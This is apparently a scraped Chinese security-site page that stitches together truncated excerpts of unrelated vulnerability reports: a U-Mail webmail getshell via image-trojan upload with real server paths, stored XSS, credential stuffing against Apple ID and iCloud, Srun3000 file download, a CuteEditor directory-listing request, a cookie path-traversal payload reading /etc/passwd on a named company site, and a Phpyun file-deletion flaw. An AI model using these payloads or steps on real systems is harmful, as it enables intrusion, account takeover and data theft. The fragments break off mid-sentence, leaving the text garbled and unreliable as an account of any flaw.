U-Mail邮件系统上传文件导致getshell
设置信纸，上传图片木马，右键获取文件路径。
http://mail.comingchina.com/webmail/client/cache/78655/letterpaper_1_thumb.jpg
去掉：_thumb
http://mail.comingchina.com/webmail/client/cache/78655/letterpaper_1.jpg
这就是原来图片地址：
最后利用CGI执...
之前小伙伴报了那个XSS倒是修复了，但很明显是指哪补哪…… 其他位置依旧存在过滤不严的问题，可用于获取其他用户权限。 后天考试了，今天来赞个人品，顺便跟清华的学长学姐混个脸熟~ （PS:其实我还测试了半天的越权，想那么多地方总该会有，可是没找到555）
日历、任务、签名处未过滤，导致存储型XSS
...
一、跨站脚本攻击(XSS)
跨站脚本攻击的原理
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码，而程序对于用户输入内容未过滤，当用户浏览该页之时，嵌入其中Web里面的脚本代码会被执行，从而达到恶意攻击用户的特殊目的。
跨站脚本攻击的危害
窃取cookie...
Apple ID可轻易撞号。
实际是通过icloud撞号。
测试发现无论错误多少次，https://appleid.apple.com/signin并没有出现验证码，也没有传说中的临时锁定我的账号？
而在https://www.icloud.com/上，也是如此。
我只启用了一个线程(怕后端监测到异常)。
轻松批量撞号，不断有新的破解成功提示出现。 当然...
Srun3000计费系统任意文件下载漏洞[无需登录]
版本：版本 Srun3000 [3.00rc14.17.4]
使用量还是相当多的，主要为各大高校:(
url不列出来了，太暴力，怕自己学校的也被爆。
1.任意文件下载漏洞
漏洞文件
/srun3/srun/services/modules/login/controller/login_controller.php
代码
/**
...
最新做的一个项目，被 测试 组猛烈攻击，暴露了不少问题。其中一个问题印象深刻！
测试使用了WebInspect这个扫描工具，扫描了整个网站，包括后台。结果我们的数据库 里被灌入大量的垃圾数据，并修改了原有的数据。总之，惨不忍睹！
后来，我们发现我们后台的一个简单的检查是否登录...
无意间发现的CuteEditor for classic asp漏洞，编辑器用量不多，干脆直接公布算了 列任意目录以及文件：
GET /aspedit/cuteeditor_files/Dialogs/browse_Img.asp?setting=MXwxfDF8MXwxfC98L3wvfC98L3x0cnVlfHRydWV8dHJ1ZXx0cnVlfC50eHQsLmRvYywuZG9jeCwucGRmLC5hdmksLm1wZywubXBlZywubXAzLC53YXY...
/system/module/user/model.php
public function update($account)
{
/* If the user want to change his password. */
if($this->post->password1 != false)
{
$this->checkPassword();
if(dao::isError()) return fa...
红塔烟草集团某站点文件包含
cookie中插入
Skin_Template=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
修复方案：
你懂得
上一篇： eYou邮件系统邮件正文存储型XSS - 网站安全 - 自学
下一篇： Phpyun设计缺陷致任意文件删除可致重装get...
设计缺陷可致任意文件删除 删除lock可直接进行重装直接达到getshell。 或者删除某文件也可以来注入了。 也可导致破坏sql语句。
依旧官网下的最新版。
在model/ajax.class.php中
function delupload_action(){
if(!$this->uid && !$this->username && $_COOKIE[...